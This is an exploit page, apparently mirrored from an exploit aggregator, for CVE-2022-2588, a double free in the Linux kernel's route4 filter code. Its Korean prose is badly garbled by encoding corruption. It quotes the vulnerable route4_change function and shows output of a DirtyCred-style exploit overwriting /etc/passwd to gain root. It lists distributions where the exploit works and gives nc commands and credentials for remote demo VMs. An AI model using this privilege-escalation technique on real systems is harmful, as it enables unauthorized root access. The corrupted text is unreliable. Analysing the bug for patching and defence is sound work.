## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DOM4570-CVE-2022-2588
# CVE-2022-2588
# μμ
μ΄ λ²κ·Έλ Linux v5.19μμ μ΄ μ»€λ°μΌλ‘ μμ λμμ΅λλ€.
# λ²κ·Έ
μ΄ λ²κ·Έλ 2014λ
μ΄ μ»€λ°μΌλ‘ Linux v3.17μμ λμ
λμμ΅λλ€. νΈλ¦¬κ±°νλ €λ©΄ `User Namespaces`κ° νμν©λλ€. μ΄ λ²κ·Έλ CVE-2021-3715μ λ§€μ° μ μ¬νλ©°, μ΄λ `route4_filter`μ μ°κ²° 리μ€νΈμ λν μλͺ»λ μ°μ°μΌλ‘ μΈν΄ λ°μνμ΅λλ€. CVE-2021-3715μ λν μμΈν λ΄μ©μ λΈλν λ°ν (16νμ΄μ§)μμ μ°Ύμ μ μμ΅λλ€. λ€μμ CVE-2022-2588μ λν κ°λ΅ν μ€λͺ
μ
λλ€.
λ€μμ CVE-2022-2588μ μ΄ν΄νκΈ° μν ν¨μ `route4_change`μ μ€μν μ½λ μ‘°κ°μ
λλ€.
root@kitploit:~
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// λμΌν νΈλ€μ κ°μ§ νν°κ° μμΌλ©΄ μΌλΆ μ 보λ₯Ό 볡μ¬
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// μ νν° μ΄κΈ°ν
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// μ νν°λ₯Ό 리μ€νΈμ μ½μ
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// foldκ° μ‘΄μ¬νλ©΄ 리μ€νΈμμ μ κ±°
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// μ°κ²° 리μ€νΈμμ μ΄μ νν° μ κ±°
break;
}
}
}
}
...
// fold νν°κ° μ‘΄μ¬νλ©΄ ν΄μ [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
μ΄ ν¨μλ `route4_filter` κ°μ²΄λ₯Ό μ΄κΈ°ν/κ΅μ²΄νκΈ° μν΄ κ΅¬νλμμ΅λλ€. νν°λ `handle`μ κ³ μ IDλ‘ μ¬μ©νμ¬ κ° νν°λ₯Ό ꡬλΆν©λλ€. μ΄μ μ μ΄κΈ°νλ νΈλ€(μ¦, `fold` λ³μκ° nullμ΄ μλ)μ΄ μμΌλ©΄, μ΄μ νν°λ₯Ό μ κ±°νκ³ μ νν°λ₯Ό μΆκ°νμ¬ νν°λ₯Ό μ
λ°μ΄νΈν©λλ€. κ·Έλ μ§ μμΌλ©΄ μ νν°λ§ μΆκ°ν©λλ€.
[0]μμ 컀λμ `route4_filter` κ°μ²΄λ₯Ό ν λΉν©λλ€. [1]μμ foldκ° λΉμ΄ μμ§ μμΌλ©΄(μ¦, λμΌν νΈλ€μ κ°μ§ νν°κ° μ‘΄μ¬ν¨) μ νν°μ μΌλΆ μ 보λ₯Ό 볡μ¬νκ³ [2]μμ μ νν°λ₯Ό μ΄κΈ°νν ν [3]μμ 리μ€νΈμ μ½μ
ν©λλ€. μ΄μ νν°κ° μ‘΄μ¬νλ©΄ [4]μμ 리μ€νΈμμ μ κ±°λκ³ [6]μμ ν΄μ λ©λλ€.
λ²κ·Έλ [4]μμ λ°μνλ©°, μ¬κΈ°μλ μ κ±°ν μ΄μ νν°κ° μλμ§ νμΈν©λλ€. 쑰건μ νΈλ€μ΄ 0μ΄ μλμ΄μΌ νλ©° μ νν°μ νΈλ€κ³Ό μΌμΉν΄μΌ ν©λλ€. μ΄ μ‘°κ±΄μ [6]μμ νν°λ₯Ό ν΄μ νλ 쑰건과 μΌμΉνμ§ μμΌλ©°, [6]μμλ μ΄μ νν°μ μ‘΄μ¬ μ¬λΆλ§ νμΈν©λλ€. λ°λΌμ μ¬μ©μκ° νΈλ€μ΄ 0μΈ νν°λ₯Ό μμ±ν λ€μ κ΅μ²΄λ₯Ό νΈλ¦¬κ±°νλ©΄ [4]μμ μ°κ²°μ΄ ν΄μ λμ§ μμ§λ§ μ‘°κ±΄μ΄ λμΌνμ§ μκΈ° λλ¬Έμ [6]μμ ν΄μ λ©λλ€.
# μ΅μ€νλ‘μ
μ΄ λ²κ·Έλ CVE-2021-3715μ μ μ¬νλ―λ‘ ν리미ν°λΈλ κ±°μ λμΌν©λλ€. λ
μλ ν리미ν°λΈμ λν μμΈν μ€λͺ
μ λΈλν λ°νμμ μ°Έμ‘°ν μ μμ΅λλ€. μ΄ λ¬Έμλ DirtyCredμ κ°λ
μ μ¬μ©ν μ΅μ€νλ‘μμ 보μ¬μ€λλ€.
λ²κ·Έλ₯Ό νΈλ¦¬κ±°ν ν ν΄μ λ `fold`κ° μ¬μ ν μ°κ²° 리μ€νΈμ μμΌλ―λ‘ `fold`λ₯Ό λ€μ ν λ² ν΄μ ν μ μμΌλ©°, μ΄λ κ²°κ΅ `route4_filer` κ°μ²΄μ `CONFIG_NET_CLS_ACT`κ° νμ±νλ κ²½μ° `route4_filter->exts.action` κ°μ²΄μ λν΄ μ΄μ€ ν΄μ λ₯Ό μ λ°ν©λλ€.
μ΅μ€νλ‘μ μ½λλ μ΄ λ κ°μ§ μ΄μ€ ν΄μ κΈ°λ₯μ μ¬μ©νμ¬ μμ
μ격 μ¦λͺ
(kmalloc-192 μ΄μ€ ν΄μ νμ©, μΆν μ 곡) λ° μ΄λ¦° νμΌ μ격 μ¦λͺ
(kmalloc-256 μ΄μ€ ν΄μ νμ©)μ λν 곡격μ μμ°ν©λλ€.
## νμΌ μ격 μ¦λͺ
곡격
DirtyCredμ κ°λ
μ λ°λΌ μ΅μ€νλ‘μ μ½λλ κΆν κ²μ¬ ν νμΌ μ격 μ¦λͺ
μ κ΅μ²΄νμ¬ μ½κΈ° κΆνμ΄ μλ νμΌμ μ΄λ€ λ΄μ©μ΄λ μΈ μ μλλ‘ ν©λλ€. μ΄μμ μΌλ‘ μ΄ μ½λλ λ²κ·Έμ μν₯μ λ°λ λͺ¨λ 컀λ λ²μ μμ μλν©λλ€. μ΄μ 컀λμμλ `msg_msg`κ° `kmalloc-rcl-*`μμ 격리λμ΄ μμΌλ―λ‘ μ΅μ€νλ‘μμ λ€λ₯Έ μ€νλ μ΄ κ°μ²΄λ₯Ό μ¬μ©ν©λλ€.
root@kitploit:~
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
μ΄ μ΅μ€νλ‘μμ μ΅λν λ§μ λ°°ν¬νμμ μλνλλ‘ μμ±λμμ΅λλ€. λ€μμμ μλμ΄ νμΈλμμ΅λλ€.
* CentOS 8/Stream (4.18.0-80.el8.x86_64 ~ xxx)
* CentOS 7 (4.20.11-1.el7.x86_64, 5.4.179-1.el7.x86_64, 5.9.6-1.el7.x86_64)
* Debian 11 (5.10.0-8-amd64 ~ xxx)
* Fedora 33 (5.8.15-301.fc33.x86_64 ~ xxx)
* Manjaro 18 (xxx ~ xxx)
* RHEL 8 (4.18.0-80.el8.x86_64 ~ xxx)
* Ubuntu 17 (4.10.0-19-generic ~ xxx)
* Ubuntu 18 (xxx ~ xxx)
* Ubuntu 19 (5.0.0-38-generic ~ xxx)
* Ubuntu 20 (xxx ~ xxx)
(λ€λ₯Έ 컀λμμλ μλνλ κ²μ λ°κ²¬νλ©΄ PRμ λ³΄λ΄ μ
λ°μ΄νΈν΄ μ£ΌμΈμ.)
## VMμμ μ΅μ€νλ‘μμ μ€νν΄ λ³΄κ³ μΆμΌμ κ°μ?
**μ¬μ©μ`low`μ λΉλ°λ²νΈ `low`λ‘ λ‘κ·ΈμΈν΄ μ£ΌμΈμ.**
**Ubuntu 20**
root@kitploit:~
nc 150.136.171.117 1337
**Centos 8**
root@kitploit:~
nc 150.136.171.117 1338